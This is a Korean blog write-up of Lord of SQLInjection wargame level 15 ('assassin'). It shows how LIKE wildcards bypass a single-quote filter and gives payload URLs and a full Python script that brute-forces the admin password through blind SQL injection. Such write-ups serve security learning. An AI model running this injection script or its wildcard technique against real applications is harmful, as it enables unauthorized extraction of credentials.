본문으로 바로가기

LOS 15(assassin)

category LOS-write up 2021. 1. 5. 05:27

문제

문제 분석

pw에 "'"(싱글쿼터)를 피해주면서 id에 admin의 값이 들어가게 된다면 문제가 풀리게된다.

 

이때 싱글쿼터가 막혀 pw like ''를 우회하지 못하는데 이를 해결하는것이 문제의 핵심이다.

 

문제풀이

pw like '%'를 하게되면 와일드카드로 인정이 된다.

%는 문자열이며 _는 문자를 의미하기에 이를 활용해서 blind injection을 진행한다.

 

문제에서는 admin의 값을 조회하기만 하면 됨으로 pw의 정확한 값을 입력하지 않아도 하나의 자리만 admin의 pw에 맞춰주고 나머지 자리는 와일드 카드로 맞춰주게 된다면 문제가 풀린다.

 

 

문제 정답

pw 길이를 알아내는 조건

URL?pw=_

 

_의 값을 하나씩 늘려주면서 hello admin이 출력되는 _의 갯수가 pw의 길이이다.

=>이때 guest등 다른 id값과 혼동될수있다.

 

 

pw 값을 알아내는 조건

URL?pw=a_______ 1

 

하나의문자를 입력하고 나머지 자리들은 와일드 카드로 처리해주며 hello admind이 사용되는지 확인한다. 

=>이때 guest등 다른 id값과 혼동될수있는데 만약 admin이 나오지 않는다면 다른 자리의 문자로 확인한다.

 

 

따라서 위의 조건을 통해 admin의 password일부를 알아내서 입력하면 문제가 풀린다.

URL?pw=__2EfD__

 

아래의 코드를 통해 쉽게 알아낼 수 있다.

 

 

 

문제 풀이 코드

 

import requests

url = 'https://los.rubiya.kr/chall/assassin_14a1fd552c61c60f034879e5d4171373.php'
session = {'PHPSESSID' : 'cdbquk3ihvfimiirqf0fdagc39'}  #로그인 쿠키
count=0
data={}
password=""
same=""

for pw_length in range(1,20):
    data['pw']="_"*pw_length
    res = requests.get(url, params=data, cookies=session)
    
    if ("Hello guest" or "Hello admin") in res.text:
        print("pw_length:"+str(pw_length)) 
        break
        
        

for i in range(0,pw_length):
    count=0
    for j in range(48,127):
        data['pw']=("_"*i)+chr(j)+("_"*(pw_length-i-1))   #like가 오면 와일드 카드 _를 사용 %는 문자열 와일드 카드 사용가능
        res = requests.get(url, params=data, cookies=session)
        if "Hello admin" in res.text:
            password+=chr(j)
            print(password)
            break
        if "Hello guest" in res.text: #자리로 판단하기에 same에 _가 무조건 걸림
            same=chr(j)
            #print(same)
        if (j == 126) and (count == 0): #만약 admin과 guest의 pw가 같은위치에서 같을경우 admin은 검색이 안되기 때문에 이를 방지
            password+=same
            print(password)
  

data['pw']=password
res = requests.get(url, params=data, cookies=session)

print(res.url)

if "Clear!" in res.text:
    print("\nClear!") #admin의 값만 판단하면 되기에 모두 다 맞출 필요는 없음
else:
    print("try again!")

'LOS-write up' 카테고리의 다른 글

LOS 17(zombie_assassin)  (0) 2021.01.05
LOS 16(succubus)  (0) 2021.01.05
LOS 14(giant)  (0) 2021.01.05
LOS 13(bugbear)  (0) 2021.01.03
LOS 12(darkknight)  (0) 2021.01.03